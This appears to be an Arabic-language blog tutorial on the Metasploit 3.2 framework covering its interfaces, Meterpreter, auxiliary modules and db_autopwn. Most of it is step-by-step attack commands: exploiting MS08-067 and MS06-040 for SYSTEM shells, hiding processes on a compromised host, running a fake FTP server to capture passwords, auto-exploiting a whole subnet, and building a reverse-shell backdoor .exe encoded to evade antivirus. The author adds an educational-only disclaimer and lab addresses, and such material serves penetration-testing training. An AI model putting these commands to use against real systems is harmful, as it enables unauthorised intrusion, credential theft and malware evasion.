
بصراحة وبدون مقدمات لا أعلم لماذا أنا معجب جدا بمشروع Metasploit فكلما تعمقت بهذا المشروع وتفاصيله ستعجب به أكثر وأكثر! وان لم أكن مخطئ هذا رابع موضوع أكتبه عن مشروع ميتاسبلويت في المدونة على الرغم من وجود مشاريع وبرامج أخرى قوية تحتاج لأن يتم التعريف بها على الأقل لكن حتى الآن لم أتطرق أو أذكر أي شيء عنها!! أكثر ما يعجبني بمشروع Metasploit أنه ليس مجموعة من الثغرات الجاهزة للاستغلال فقط كما يعتقد البعض بل المشروع أكبر من ذلك بكثير ويشكل بيئة متكاملة لأي Penetration Tester بالاضافة لامكانية استخدام المشروع للقيام بالعديد من الأمور التي تفيد مدراء الأنظمة والشبكات, المبرمجين والهاكرز بالدرجة الأولى.
هل تعلم أننا نستطيع استخدام مشروع ميتاسبلويت في فحص الشبكات والأجهزة الموجودة فيها ويمكننا اختراقها بشكل أوتوماتيكي باستخدام أداة خطيرة موجودة ضمن المشروع تدعى db_autopwn؟ والمشروع قادر على اعطائنا نتائج دقيقة جدا في عملية الـ Penetration Testing لأننا في مشروع ميتاسبلويت نتأكد ان كان الضعف الأمني Vulnerability قابل للاستغلال Exploitable أم لا بعكس برامج فحص الثغرات الأخرى التي غالبا تعطينا نتائج غير دقيقة وأحياناً خاطئة لأنها تعتمد على المعلومات التي حصلت عليها فقط دون القدرة على التأكد من صحتها! هل تعلم أن المشروع يحتوي على استغلالات متقدمة جدا تصل للقدرة على التحكم بسطح مكتب الجهاز الذي قمنا باختراقه والقدرة على التحكم الكامل بالجهاز مع عدم ظهور أي شيء يدعو مدير الشبكة للشك بأن الجهاز مخترق لأن الاستغلال لن يقوم بتشغيل أي برنامج قد تظهر بقائمة المهام أو يترك آثار في الجهاز بل سيقوم بحقن مكتبات dll في الذاكرة مباشرة مستغلا الثغرة الموجودة في البرنامج! هل تعلم أننا نستطيع استخدام المشروع في أمور مفيدة كأن نجعل استغلال الثغرة يقوم بتنصيب ترقيع أمني بشكل تلقائي عوضاً عن اختراق الجهاز؟!! وهل تعلم أننا نستطيع استعمال المكتبات التي بني عليها ويستخدمها المشروع بعمله في برمجة أدوات فعّالة وكتابة استغلال لثغرات Remote Buffer Overflow بكل سرعة وسهولة؟!
منذ انتقال المشروع للاصدار الثالث واعادة برمجته من جديد بلغة روبي عوضا عن بيرل تم جعله ليكون قابل للتطوير بشكل كبير وليكون بيئة شاملة يستخدمها أي Hacker أو Penetration Tester في عمله ومن اطلع على هيكلة المشروع وطريقة برمجته لفهم تماما ماذا أقصد فالمشروع يعتمد بعمله على تخزين كل شيء في قواعد بيانات ويحتوي على نظام تسجيل Log مدمج يمكننا استخدامه على 3 مستويات كذلك يمكننا برمجة اضافات Plugins للمشروع حتى نجعله يعمل بالطريقة التي تناسبنا أضف الى ذلك امكانية برمجة Modules خاصة واضافتها للمشروع ان كان هذا الـ Module ثغرة, Shellcode, Encoder أو حتى أداة مساعدة Auxiliary نستخدمها في عملنا.
قبل البدأ بالشرح أنصحكم بالاطلاع على الموضوع السابق (استخدام مشروع Metasploit و شرح استغلال ثغراته بالتفصيل) ومن الضروري معرفة أن هذا الشرح للغرض التعليمي فقط! أنا لا أشجع ولا بأي شكل من الأشكال على استخدام المعلومات الموجودة في هذا الموضوع للقيام بأمور تخريبية أو اختراق أجهزة الآخرين بشكل غير شرعي أو خارج نطاق شبكتك الخاصة كما أني أخلي مسؤوليتي الكاملة من أي ضرر قد يصيب الشبكة أو الأجهزة الموجودة فيها وأنت وحدك تتحمل نتيجة استخداماتك!
تم تنفيذ الشرح على نظام GNU/Linux توزيعة Fedora باستخدام الاصدار 3.2 من مشروع Metasploit والاصدار 1.8.6-p111 من مفسّر لغة Ruby (بعض الاصدارات الأحدث من مفسّر لغة روبي مثل 1.8.7 تتعارض مع مشروع ميتاسبلويت مما يؤدي لعدم عمله بالشكل الصحيح, بهذه الحالة علينا عمل Downgrade وحذف الاصدار المنصّب في التوزيعة و تحميل الاصدار 1.8.6 ثم تنصيبه على الجهاز بعد بناءة من المصدر.)
مشروع Metasploit يتطلّب اعداد بيئة مناسبة لتشغله واستخدام اضافاته لذلك تأكد من وجود الحزم التالية منصّبة في التوزيعة التي تستخدمها:
ruby ruby-irb ruby-libs ruby-rdoc ruby-devel readline rubygems rubygem-rails ruby-gtk2
ruby-libglade2 subversion sqlite3 rubygem-sqlite3-ruby
وبعد تحميل المشروع وتنصيبه من الأفضل تحديثه لآخر اصدار باستخدام الأمر:
svn update framework-3.2
استبدل framework-3.2 باسم/مسار مجلد المشروع أو قم بالدخول للمجلد من سطر الأوامر ونفذ الأمر:
svn update
حاليا أنا أعمل على الاصدار: At revision 6585. قد يكون الرقم لديك مختلف (المفروض اما نفسه أو أكثر)
التعامل مع المشروع باستخدام الواجهات المرفقة
يأتي مشروع Metasploit بعدة واجهات تمكننا من استخدام المشروع بالطريقة التي تناسبنا فاذا اطلعنا على مجلد المشروع سنشاهد التالي:
msfconsole: سطر أوامر مشروع ميتاسبلويت ويمكننا اعتباره الواجهة الرئيسية للمشروع, يوفر لنا سطر أوامر المشروع تحكم كامل في ميتاسبلويت, الثغرات وجميع الأدوات الموجودة بالمشروع ونستطيع من خلاله الوصول لجميع البرامج الموجودة في الجهاز كما أنه يحتوي على نفس خصائص سطر أوامر نظام لينوكس مثل دعم الاكمال التلقائي بالضغط على زر Tab ويمكننا عند استخدامه تحديد المتغيرات التي نريدها مسبقا لنتمكن من استغلال الثغرات بشكل سريع والعديد من الأمور الأخرى (شخصيا أجد أن سطر الأوامر هو الطريقة الأنسب للتعامل مع المشروع وستلاحظون ذلك أثناء استخدامه في الشرح).
msfcli: واجهة أخرى تعمل من سطر الأوامر لكنها تختلف عن msfconsole بأنها ليست تفاعلية (Interactive) أي أننا لن نحتاج للدخول الى سطر أوامر المشروع وتنفيذ عدة أوامر لاستغلال الثغرة بل نستطيع القيام بذلك بتنفيذ أمر واحد فقط بعد تحديد الخيارات التي نريدها بشكل صحيح وهذا يفيدنا في استخدام المشروع من خلال Bash Script أو أي برنامج آخر, نفذ الأمر:
./msfcli
لاستعراض الخيارات التي يوفرها msfcli ولاستعراض جميع الثغرات/الأدوات المساعدة الموجودة في مشروع ميتاسبلويت كما هو ظاهر في الصورة التالية:
حسنا كون msfcli ليست واجهة غير تفعالية هذا يعني أننا نستطيع التعامل مع المشروع واستغلال الثغرات باستخدام أمر واحد فقط! كذلك يمكننا استخدامها مع برامج أخرى, لنفرض أننا نريد استغلال الثغرة MS08-67 في البداية نتأكد من وجودها في المشروع باستخدام الأمر:
./msfcli | grep "ms08_067"
ليظهر لنا اسم الثغرة التي نريد استغلالها “exploit/windows/smb/ms08_067_netapi” ننفذ الأمر:
./msfcli exploit/windows/smb/ms08_067_netapi S
ليتم عرض معلومات عن الثغرة كما هو واضح في الصورة التالية:
لاظهار خيارات الثغرة, نستخدم الأمر:
./msfcli exploit/windows/smb/ms08_067_netapi O
أما لاظهار الخيارات المتقدمة نستخدم الأمر:
./msfcli exploit/windows/smb/ms08_067_netapi A
بالنسبة لي سأبقي الخيارات الافتراضية كما هي مع تحديد قيمة RHOST فقط وأنفذ الأمر:
./msfcli exploit/windows/smb/ms08_067_netapi RHOST=192.168.2.128 P
لاستعراض الـ Payloads التي توفرها هذه الثغرة:
لنفرض أننا اخترنا أبسط استغلال “windows/shell/bind_tcp” ونريد اختراق الجهاز 192.168.2.128 اذا كل ما علينا هو تنفيذ الأمر:
./msfcli exploit/windows/smb/ms08_067_netapi RHOST=192.168.2.128
PAYLOAD=windows/shell/bind_tcp O
لاظهار خيارات الاستغلال كما هو واضح في الصورة التالية:
بالنسبة لي سأغير المنفذ الافتراضي الذي سيتم فتحه بالجهاز الى 2222 لذلك نحدد قيمة LPORT ولا ننسى تحديد RHOST مرة أخرى أيضا ليصبح الاستغلال النهائي بهذا الشكل:
./msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/shell/bind_tcp
RHOST=192.168.2.128 LPORT=2222 E
لاحظ أننا أضفنا الى نهاية الأمر E ليتم تشغيل الاستغلال:
كما تلاحظون تمكّنا من اختراق الجهاز والحصول على remote Shell بصلاحيات SYSTEM بتنفيذ أمر واحد فقط!!! << مين فيكم يستخدم ويندوز؟ :D ومن مازال يعيش في عصر عنترة بن شداد ويفكر بالاختراق باستخدام باتش أو استغلال ثغرة في IE!!؟
msfgui: الواجهة الرسومية من مشروع ميتاسبلويت, تمت برمجتها باستخدام مكتبة GTK ولغة Ruby لذلك احتجنا لوجود الحزم ruby-gtk2 , ruby-libglade2 منصبة في التوزيعة التي نستخدمها, نستطيع عن طريق هذه الواجهة عمل كل شيء والتحكم الكامل في المشروع فهي تحتوي على سطر أوامر المشروع مدمج بداخلها كما أنها تقوم بتصنيف الثغرات والـ Modules الموجودة في المشروع بطريقة جميلة وبسيطة وكل ماعلينا هو النقر مرتين على الثغرة التي نريد لتظهر لنا نافذة تطلب منا الخيارات لتنفيذ الثغرة, كما تحتوي الواجهة على نافذتين الأولى تظهر لنا الثغرات التي تعمل Jobs والأخرى تظهر لنا الاستغلالات الناجحة التي حصلنا عليها Sessions, يتم تشغيلها بتنفيذ الأمر:
./msfgui
msfweb: هذه الواجهة تعمل عن طريق المتصفح بالاعتماد على مشروع Ruby On Rails وتعتبر هذه الواجهة الأساسية في نظام ويندوز, يمكننا تشغيل msfweb باستخدام الأمر:
./msfweb
بعد ذلك كل ماعلينا هو فتح المتصفح على الرابط:
http://127.0.0.1:55555
لتظهر لنا الواجهة كما هو واضح في الصور التالية:
يجب علينا الحذر عند استخدام هذه الواجهة داخل الشبكة لأنها لا تحتوي على نظام تسجيل دخول أو أي نظام حماية مما يمكن الأشخاص الموجودين في الشبكة من استخدام المشروع وهذا قد يعرض جهازك للاختراق! اذا أردت استخدام هذه الواجهة يجب اعداد الجدار الناري بطريقة صحيحة لتمنع الآخرين من الاتصال بجهازك عن طريق المنفذ 55555.
msfd: تقوم بتشغيل مشروع Metasploit كخدمة في الجهاز وتمكننا من استخدامه عن بعد باستخدام الأداة Netcat أو Telnet مثلا, الجميل في msfd أنها تمكن أكثر من شخص من استخدام نفس المشروع كما أنها تسمح لهم بمشاركة العمليات والـ Sessions فيما بينهم. نفّذ الأمر:
./msfd -h
لاستعراض الخيارات:
نستخدم a لتحديد أيبي الجهاز الذي ستعمل عليه الخدمة ونستخدم p لتحديد المنفذ الذي نريد عوضا عن المنفذ الافتراضي 55554, مثلا:
./msfd -a 192.168.2.1 -p 55442
الآن أي شخص يستطيع استخدام مشروع ميتاسبلويت عن بعد باستخدام أداة Netcat أو Telent وذلك بتنفيذ الأمر:
nc 192.168.2.1 55442
لاحظ أن هذه الخدمة أيضا لاتحتوي على نظام حماية أو تسجيل دخول وهذا يمكن أي شخص موجود داخل الشبكة من الاتصال بالجهاز الذي يعمل عليه msfd والتحكم بالجهاز بشكل كامل!
الاستغلالات المتقدمة في مشروع Metasploit
بشكل عام عندما نريد استغلال أي ثغرة Buffer Overflow موجودة في برنامج أو نظام تشغيل يجب أن نختار Payload أو مايعرف بالـ Shellcode وهو الكود الذي سيتم حقنه بالذاكرة وتشغيله بعد السيطرة على مسجّل EIP والتحكم في سير البرنامج (ان شاء الله سأبدأ بالكتابة عن ثغرات Buffer Overflow قريبا… ) الـ Shellcode هو مجموعة من الأوامر مبرمجة بلغة Assembly يستطيع المعالج فهمها وتنفيذها بشكل مباشر. يتميز ميتاسبلويت بأنه يحتوي على الكثير من الاستغلالات الجاهزة ويمكننا ببساطة صناعة الاستغلال الذي نريد بعد وضع الخيارات التي تناسبنا وتصديره لعدة صيغ مختلفة بكل سهولة! فباستخدام مشروع Metasploit ليس من الضروري أن تكون خبير بلغة Assembly لتتمكن صناعة شيل كود الخاص بك.
أهم الاستغلالات الموجودة وأقواها في مشروع ميتاسبلويت هو Meterpreter (خاص بنظام ويندوز فقط) يقوم هذا الاستغلال بحقن ملفات dll بنفس البرنامج/النظام الذي قمنا باستغلال الثغرة الموجودة فيه. هذا يعني أن مدير السيرفر لن يرى أي برنامج Process يعمل في قائمة المهام (لكن يمكن طبعا باستخدام أدوات متخصصة معرفة المكاتب الديناميكية المحملة للنظام لكني أتحدى أن أجد مدير أي سيرفر يستخدم أدوات مراقبة لهذه الدرجة!) أضف الى ذلك أننا سنحصل على تحكم أكثر من كامل في الجهاز وسنصبح قادرين على تشغيل عدة برامج تفاعلية بنفس الوقت دون أن نخسر الـ remote Shell بالاضافة لسهولة رفع وتنزيل الملفات وادارة الـ Processes التي تعمل بالجهاز والكثير من الأمور الأخرى ونستطيع القول أن هذا الاستغلال مشروع لوحده! حيث نستطيع برمجة سكريبتات واضافات خاصة له ومع كل تحديث يتم اضافة ميزات وقدرات جديدة له.
لنفرض أننا نريد استغلال الثغرة “windows/smb/ms06_040_netapi” وهي ثغرة أخرى بنفس خطورة الثغرة السابقة لكنها أقدم قليلا (اكتشفت في عامل 2006 بنظام Windows XP SP0/SP1) مع اختيار Meterpreter كـ Payload.. في البداية نشغّل سطر أوامر المشروع بتنفيذ الأمر:
./msfconsole
ثم ننفّذ الأوامر التالية:
msf > use windows/smb/ms06_040_netapi
msf exploit(ms06_040_netapi) > set RHOST 192.168.2.128
msf exploit(ms06_040_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
msf exploit(ms06_040_netapi) > set LPORT 22445
قمنا في الأوامر السابقة بادخلال اعدادات الثغرة (راجع هذا الموضوع لمزيد من التفاصيل) الآن يبقى علينا تنفيذ الأمر exploit لتنفيذ الثغرة وعمل سطر أوامر Meterpreter كما هو واضح بالصورة التالية:
كأي برنامج أو أداة أخرى يجب أن نبحث عن طريقة الاستخدام, بدون تفكير ننفّذ الأمر help لمعرفة أوامر Meterpreter وكيفية التعامل معه:
meterpreter > help
لاحظ الخيارات الكثيرة التي يوفرها لنا Meterpreter وكيف أنه سهّل علينا كثير من الأمور حاول أن تقرأ وظيفة كل أمر وتقوم بتجربته, مثلا لرفع ملف للجهاز لم نعد بحاجة لتشغيل سيرفر TFTP في جهازنا واستخدام TFTP Client الموجود في نظام ويندوز بل نستطيع القيام بذلك بكل سهولة عن طريق الأمر:
meterpreter > upload FILENAME
استبدل FINLENAME باسم الملف الذي تريد رفعه مع مراعاة وجوده داخل مجلد المشروع ولتحميل ملف نستخدم نفس الأمر السابق مع استبدال upload بـ download:
meterpreter > download FILENAME
من أكثر الأمور التي أعجبتني في Meterpreter هي قدرتنا على تشغيل عدة برامج تفاعلية بنفس الوقت مثل ftp أداة Netcat بعد رفعها للاتصال مع جهاز ثاني والكثير من البرامج التفاعلية الأخرى التي لا نستطيع تشغيلها باستخدام الـ remote shell العادي. في البداية ننفذ الأمر execute للاطلاع على الخيارات المتوفرة:
meterpreter > execute
مثلا ننفذ الأمر:
meterpreter > execute -H -i -f cmd.exe
ليتم تشغيل سطر أوامر نظام ويندوز والحصول على remote Shell كامل كما هو واضح في الصورة:
استخدمنا H لاخفاء البرنامج من قائمة مهام نظام ويندوز و i للتفاعل المباشر مع البرنامج وتستخدم f لتحديد البرنامج الذي نريد تشغيله.. نستطيع بأي وقت الخروج والعودة لسطر أوامر Meterpreter بتنفيذ الأمر exit أو الضغط على (Ctrl + C) حسناً ماذا لو لم نرد التفاعل مع البرنامج مباشرة وأردنا تشغيله في الخلفية مع بقائنا داخل سطر أوامر Meterpreter بهذه الحالة نستخدم c عوضا عن i:
meterpreter > execute -H -c -f cmd.exe
وعندما نريد التفاعل مع البرنامج ننفذ الأمر interact متبوعاً برقم الـ Channel بهذا الشكل:
meterpreter > interact 10
في حال قمنا بتشغيل أكثر من برنامج بالطريقة السابقة ننفذ الأمر:
meterpreter > channel -l
لاستعراض البرامج التي قمنا بتشغيلها, كذلك نستطيع الاطلاع على البرامج التي تعمل على الجهاز باستخدام الأمر:
meterpreter > ps
ولايقاف تشغيل برنامج ننفذ الأمر:
meterpreter > kill PID
مع استبدال PID بعنوان البرنامج الذي نريد:
يوجد الكثير من الأوامر الأخرى بعضها مثل نظام لينوكس مثل ls , pwd , cat , mkdir , rmdir وأخرى متعلقة بالشبكات مثل ipconfig و route بالاضافة لأمر أعجبني هو portfwd أتوقع أن وظيفته واضحة.. لن أشرحه بل سأترككم لتجربوه بأنفسكم.
يوجد العديد من الاستغلالات الأخرى في مشروع ميتاسبلويت احداها vncinject الذي يقوم بحقن مكتبات dll خاصة ببرنامج RealVNC في الذاكرة مما يسمح لنا بالتحكم الكامل بسطح مكتب الجهاز الذي نجحنا باستغلال الثغرة الموجودة فيه:
وغيره الكثير مثل اضافة مستخدم جديد للنظام, رفع وتشغيل ملف, اتصال عكسي, فتح منفذ بالجهاز… كل ماعليك هو اختيار الاستغلال الأنسب فمثلا اذا كان الجهاز الذي نحاول اختراقه يستخدم جدار ناري فليس من الحكمة أن نختار استغلال يقوم بفتح منفذ بالجهاز bind_tcp لأننا ببساطة لن نتمكن من الاتصال به وبهذه الحالة يجب جعل الاستغلال اتصال عكسي reverse_tcp بعد التأكد من فتح المنفذ الذي قمنا باختياره في الجدار الناري الموجود في جهازنا وهكذا..
الأدوات المساعدة Auxiliary
شخصيا أجد أن الأدوات المساعدة المرفقة مع مشروع ميتاسبلويت من أجمل الأمور فيه فهي عبارة عن أدوات بسيطة تستخدم مكتبات مشروع ميتاسبلويت لتساعدنا في عملية الـ Penetration Testing واستغلال الثغرات, مثل Scanners, Fuzzers, Client Side/DoS Exploits , Fake Services… ونستطيع مشاهدة القائمة الكاملة بعد تشغيل الواجهة msfconsole وذلك بتنفيذ الأمر:
msf > show auxiliary
استخدام هذه الأدوات نفس طريقة استغلال الثغرات تماما ويأتي مع كل أداة شرح لوظيفتها وطريقة استخدامها, مثلا لنفرض أننا نريد انشاء خدمة FTP وهمية تقوم بالتقاط اسم المستخدم وكلمة المرور عند القيام بتسجيل الدخول, كل ماعلينا هو تنفيذ الأمر:
msf > use server/capture/ftp
ثم نحدد IP الجهاز الذي يعمل عليه المشروع, بتنفيذ الأمر:
msf auxiliary(ftp) > SET SRVHOST 192.168.2.1
وفي النهاية تنفيذ الأمر exploit لتشغيل الخدمة الوهمية, الآن في حال قام أي شخص بالاتصال بالجهاز عن طريق المنفذ 21 سنتمكن من التقاط اسم المستخدم وكلمة المرور التي قام بتسجيل الدخول بها.
ملاحظة: كوننا سنستخدم المنفذ 21 لتشغيل خدمة FTP الوهمية هذا سيتطلب منا تشغيل المشروع بصلاحيات root الا في حال قمنا باختيار منفذ ثان.
يوجد الكثير من الأدوات المساعدة الأخرى أنصح بتجربتها فاستخدامها ممتع وتفيدنا في الكثير من الأمور أثناء عملنا.
أداة db_autopwn لتجربة الثغرات واختراق الأجهزة بشكل تلقائي
تعتبر الأداة db_autopwn من أخطر الأمور التي أضيفت لمشروع ميتاسبلويت في الاصدار الثالث, وظيفة الأداة جعل عملية تنفيذ الثغرات يتم بشكل تلقائي فالأداة قادرة على القيام بفحص الشبكة والأجهزة الموجودة فيها باستخدام Nmap أو برنامج Nessus مثلا وتخزين المعلومات في قواعد بينات وبالاعتماد على المعلومات التي حصلت عليها (نوع النظام, المنافذ المفتوحة, الخدمات التي تعمل, الثغرات المكتشفة… ) تقوم الأداة بتجربة جميع الثغرات المحتملة واحدة تلو الأخرى على جميع الأجهزة الموجودة في النطاق الذي قمنا بتحديده! (يمكننا القول أن ماسنقوم به هو Penetration Testing حقيقي ولم يعد Vulnerability Assasmint كما في برنامج Nessus لأننا سنقوم بفحص المنافذ, تحديد الخدمات, اكتشاف الثغرات, التأكد من وجودها باستخدام Metasploit واضافة db_autopwn) كثيرون يعتقدون أن عملية اختبار الاختراق تتم بواسطة أدوات فحص الثغرات مثل GFI و Nessus وهذا خطأ لأن الـ Vulnerability Assasmint جزء من الـ Penetration Testing لكن بنفس الوقت ميتاسبلويت ليس كل شيء يووجد الكثير الكثير من الأمور والأدوات الأخرى تستخدم في عملية الـ Pentesting ويجب دائما اخبار النتائج والتأكد من صحتها بشكل يدوي.)
لاستعمال الاداة نقوم في البداية تشغيل سطر أوامر المشروع:
./msfconsole
كما قلنا الأداة ستستخدم قواعد البينات لذلك ننفذ الأمر:
msf > load db_sqlite3
لتحميل اضافة قواعد بيانات sqlite3 (يوجد عدة اضافات تمكننا من التعامل مع قواعد بيانات أخرى مثل sqlite2 , mysql , postgres تستطيع اختيار أي واحدة مهم بعد التأكد من تنصيب قواعد البينات في جهازك, بالنسبة لي أفضل sqlite لخفتها مع العلم أن باقي الخطوات نفسها تماما لا تختلف بشيء)
الأن نقوم بانشاء قاعدة بيانات جديدة بتنفيذ الأمر:
msf > db_create autopwn
تستطيع استبدال autopwn بأي اسم تختاره مثلا mynetwork, metasploit, pentest… اختر أي اسم تريد بعد ذلك يوجد لدينا عدة خيارات اما استخدام nmap في فحص المنافذ المفتوحة في جهاز محدد أو نطاق شبكة ومعرفة النظام والخدمات التي تعمل بالاعتماد على المنافذ المفتوحة أو فحص الثغرات الموجودة بالشبكة باستخدام Nessus وبالاعتماد على المعلومات التي حصلنا عليها ستقوم الأداة بتجربة الثغرات المحتملة حسب الخيارات التي قمنا بتحديدها كذلك نستطيع اضافة ملف xml خاص بنتائج أداة Nmap أو nbe خاص بنتائج Nessus.. اختر مايناسبك بهذا الشرح سنستخدم Nmap لذلك ننفذ الأمر:
msf > db_nmap 192.168.2.*
لفحص الأجهزة الموجودة في النطاق 192.168.2.0/24 (ليس بالضرورة فحص نطاق كامل نستطيع أيضا تحديد IP جهاز واحد فقط) وعند الانتهاء ستقوم الأداة db_nmap بتخزين النتائج التي حصلت عليها في قاعدة البيانات, لمعرفة الأجهزة التي تم العثور عليها ننفذ الأمر:
msf > db_hosts
ولمعرفة الخدمات التي تم اكتشافها نستخدم الأمر:
msf > db_services
عند استخدام Nessus نستخدم الأمر:
msf > db_vulns
لمعرفة الثغرات المكتشفة, الآن نشغل الأداة db_autopwn لمعرفة خياراتها وطريقة استخدامها بتنفيذ الأمر:
msf > db_autopwn
أخيرا نشغّل الأداة باستخدام الأمر:
msf > db_autopwn -p -e -b
استخدمنا p لاختيار الثغرات بالاعتماد على المنافذ المفتوحة بالجهاز (في حال استخدام برنامج Nessus يمكننا اختيار x عوضا عن p ليتم اختبار الثغرات بالاعتماد على نتائج فحص Nessus) أما e فهو لتشغيل الثغرات و b ليكون الاستغلال عبارة عن فتح منفذ (استخدم r ليكون الاستغلال عبارة عن اتصال عكسي) طبعا يوجد خيارات أخرى للأداة كأن نجعل الأداة تقوم بتجربة الثغرات على نطاق محدد أو استثناء أجهزة موجودة ضمن نطاق وبعض الخيارات الأخرى أترككم لتكتشفوها بأنفسكم.
عند انتهاء أداة db_autopwn من عملها نفّذ الأمر:
msf > sessions -l
لترى الأجهزة التي تمكنا من اختراقها والاتصالات الناجحة ونستخدم الأمر:
session -i ID
ليتم استخدام الاتصال والحصول على remote shell من الجهاز المصاب بالثغرة.
ملاحظة: اختبار الثغرات بهذا الشكل أمر خطير وقد يسبب لنا العديد من المشاكل فاستغلال الثغرات لاينجح دائما ويعطينا remote Shell الخطأ باستغلال الثغرة قد يؤدي أحيانا لـ Denial of Service وايقاف الجهاز/الخدمة عن العمل! وطبعا ليس من الذكاء استخدام الأداة على نطاق كبير يحتوي على العديد من الأجهزة لأن عملية ستأخذ وقت كبير وقد تتوقف الأداة عن عملها ولذلك يفضّل استخدام الأداة على مراحل ومن تجربتي الشخصية مازلت أرى أن الأداة غير ثابتة بالشكل المطلوب وتحتاج لمزيد من التطوير لتحقيق ثبات أكثر ففي كثير من الأحيان تتوقف الأداة عن عملها وتستهلك حجم كبير من الذاكرة. أخيرا لا تتحامق وتفكر بتجربة استخدامها على نطاق IP مزود الخدمة أو أي جهة أخرى بشكل غير شرعي لأنه يمكن كشفك ببساطة وقوانين أبسط IDS سيكتشف هذا العدد الكبير من الثغرات التي تقوم بتجربتها مع العلم أن الاختراق بهذا الشكل لا يعد “عبقرية” وليس “شطارة” بل هو الغباء بعينه!
صناعة Shellcode / Backdoor وتشفيره
من أهم ميزات مشروع ميتاسبلويت قدرته على صناعة شيل كود بالخيارات التي نريدها بمنتهى السرعة والسهولة, كما قلت سابقا سنحتاج للشيل كود في كتابة استغلال الثغرة فعندما يتم اكتشاف ثغرة في برنامج ما يجب أن يتم برمجة برنامج بسيط يقوم باستغلالها وهذا الأمر يرجع للمكتشف فالبعض يختار Perl , Python , C حسب الثغرة وطبيعتها لكن الأمر المؤكد أننا سنحتاج لشيل كود مبرمج بلغة Assembly بخصائص معينة, يتم حقنه داخل الذاكرة وتنفيذه من قبل المعالج مباشرة مع العلم أن برمجة هذا الكود ليس بالأمر السهل لذلك الأغلبية يلجأ لاستخدام Shellcode جاهز بخيارات محددة مسبقا أما في مشروع ميتاسبلويت فالأمر أسهل من ذلك وأفضل بكثير.. يكفي أنك قادر على صناعة Shellcode بالخيارات التي تريدها خلال بضعة ثوان!
نستطيع صناعة الـ Shellcode الذي نريده باستخدام الأداة msfpayload الموجودة داخل مجلد المشروع ونستخدم msfencode لتشفيره, في البداية نقوم باستعراض الـ Shellcodes الموجودة داخل المشروع وخيارات msfpayload باستخدام الأمر:
./msfpayload
لنفرض أننا نريد استخدم windows/shell/reverse_tcp لانشاء اتصال عكسي, في البداية ننفذ الأمر التالي لمعرفة خيارات الشيل كود:
./msfpayload windows/shell/reverse_tcp S
لاحظ أن طريقة استخدام الأداة msfpayload نفس msfcli تماما, لصناعة شيل كود يستخدم في برمجة اسغلال مكتوب بلغة C نقوم في البداية بتحديد الخيارات التي نريدها باستخدام الأمر:
./msfpayload windows/shell/reverse_tcp LHOST=192.168.2.1 LPORT=22445 C
نستطيع استبدال C بـ y للغة روبي وبـ P للغة Perl وهكذا… راجع خيارات msfpayload لمعرفة باقي اللغات لكن المميز بالأمر هو قدرة المشروع على صناعة ملف تنفيذي بالامتداد exe (باك دور بسيط) نعيد تنفيذ الأمر السابق مع استبدال C بـ X لكن بهذه الحالة يجب ارسال المخرجات لملف وليس طباعتها على الشاشة! لذلك ننفذ الأمر بهذا الشكل:
./msfpayload windows/shell/reverse_tcp LHOST=192.168.2.1 LPORT=22445 X > reverse_tcp.exe
الأن يجب أن نقوم بتشغيل Exploit Handler ليتولى أمر الاتصال العكسي وينجح الاستغلال, شغّل سطر أوامر المشروع وننفذ الأوامر التالية:
./msfconsole
msf > use multi/handler
msf exploit(handler) > set LHOST 192.168.2.1
msf exploit(handler) > exploit
لاحظ أننا أدخلنا نفس خيارات الباك دوور reverse_tcp.exe. عند قيام المستخدم بتشغيل الملف التنفيذي سنحصل على revers remote shell كما هو واضح بالصورة التالية:
الأداة msfencode تقوم بتشفير الشيل كود باحدى المشفّرات التي يوفرها المشروع, في البداية نقوم بصناعة الشيل كود الذي نريده (بصيغة Raw) ونرسل المخرجات لملف باسم shellcode.raw مثلا باستخدام الأمر:
./msfpayload windows/shell/reverse_tcp LHOST=192.168.2.1 LPORT=22445 R > shellcode.raw
الآن نستعرض خيارات الأداة msfencode بتنفذ الأمر:
./msfencode -h
لتشفير الشيل كود الموجود داخل الملف shellcode.raw ننفذ الأمر:
./msfencode -i shellcode.raw -e x86/shikata_ga_nai -b'\x00\xff' -t c -o shellcode.c
في الأمر السابق قمنا بتشفير الشيل كود باستخدام المشفّر x86/shikata_ga_nai مع تجنب استخدام الحروف \x00\xff لأن هذه الحروف تؤدي لتوقف الشيل كود عن العمل عند تشغيله داخل الذاكرة ثم أرسلنا الشيل كود المشفّر للمف shellcode.c لاستخدامه باستغلال مبرمج بلغة C. نستطيع استخدام encoder آخر كل ماعلينا هو تنفيذ الأمر:
./msfencode -l
لاستعراض المشفّرات الموجودة داخل المشروع, نستطيع استخدام الأداتين msfpayload و msfencode بنفس الوقت وتصدير الشيل كود لملف أو طباعته على الشاشة مثلا بشكله النهائي باستخدام الأمر:
./msfpayload windows/shell/reverse_tcp LHOST=192.168.2.1 LPORT=22445 R | ./msfencode
-e x86/shikata_ga_nai -b'\x00\xff' -t c
حسناً حاول أن تقوم بصنع باك بدور لنظام ويندوز باستخدام msfpayload ومن ثم تشفيره باحدى المشفّرات الموجودة في msfencode وحاول فحصة باستخدام مضاد الفايروسات, الاصدارات الحديثة من المشروع تكون غير مكشوفة من معظم مضادات الفايروسات كما تستطيع صنع باكدور Meterpreter واستخدامه بنفس الطريق التي استخدمنا فيها باكدور الاتصال العكسي reverse_tcp.exe
أعلم أني أطلت الموضوع كثيرا وفصّلته بشكل كبير فلقد أردت تغطية أكبر قدر ممكن من امكانيات مشروع ميتاسبلويت وطريقة التعامل معه.. هذا كل شيء حتى الِأن ومن الممكن أن أقوم بكتابة جزء ثالث عن مشروع ميتاسبلويت لاحقا أو أضع شرح فيديو في iSecur1ty أو أدمج المواضيع السابقة وأنسقها من جديد مع بعض الاضافات ليتم تحويلها لكتيّب صغير عن مشروع ميتاسبلويت وكما قلت سابقا Metasploit يتطور بسرعة كبيرة ومع كل اصدار جديد يتم اضافة المزيد من الأدوات والخصائص الجديدة للمشروع ولذلك أنصح بمتابعة موقع المشروع و المدونة الرسمية أيضا وحاول أن تبقي نفسك على اطلاع بـ مجريات تطوير المشروع.
